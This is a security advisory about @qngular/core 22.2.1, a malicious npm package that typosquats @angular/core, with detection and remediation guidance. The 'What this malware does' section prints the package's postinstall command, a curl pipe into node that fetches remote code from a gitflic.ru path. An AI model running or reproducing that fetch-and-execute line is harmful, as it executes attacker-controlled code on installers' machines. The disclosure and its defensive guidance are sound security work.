Which versions of @qngular/core are malicious?

The following npm versions of @qngular/core are flagged malicious: 22.2.1. Treat any of these as compromised.

How do I remediate @qngular/core if I installed it?

@qngular/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @qngular/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed @qngular/core — how do I know if it already compromised me?

If @qngular/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @qngular/core part of a known attack campaign?

Yes — @qngular/core is associated with the IN-MAL-2026-020990 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @qngular/core across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @qngular/core (version 22.2.1).

Malicious package

@qngular/corenpm

Advisory published Oct 5, 2026Updated Oct 5, 2026

@qngular/core is a confirmed malicious npm package (MAL-2026-17544) that typosquats a legitimate package to trick installs (malicious version 22.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @qngular/core (npm)

MAL-2026-17544

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @qngular/core

What this malware does

Package @qngular/core is a one-character typosquat of @angular/core and copies the real package's description, author, and repository metadata. The postinstall lifecycle script in package.json runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching an opaque, non-publisher-controlled JavaScript payload from a third-party host (gitflic.ru via a web.archive.org proxy) and piping it unverified into node. This executes attacker-controlled code on the installer's machine during npm install.

Malicious versions

1 flagged

22.2.1

Indicators of compromise (SHA-256)

e83437986b94381cddff72267bc53907d980e1b14dbfef9123aa47f5ed664664

Detection & response playbook

Typosquat

Find it
Search your lockfiles and build artifacts for @qngular/core (version 22.2.1).
If you installed it — respond
@qngular/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @qngular/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If @qngular/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @qngular/core on npm has been identified as a malicious package (version 22.2.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020990

References

npmjs.com

Credits

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O3 blocks @qngular/core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

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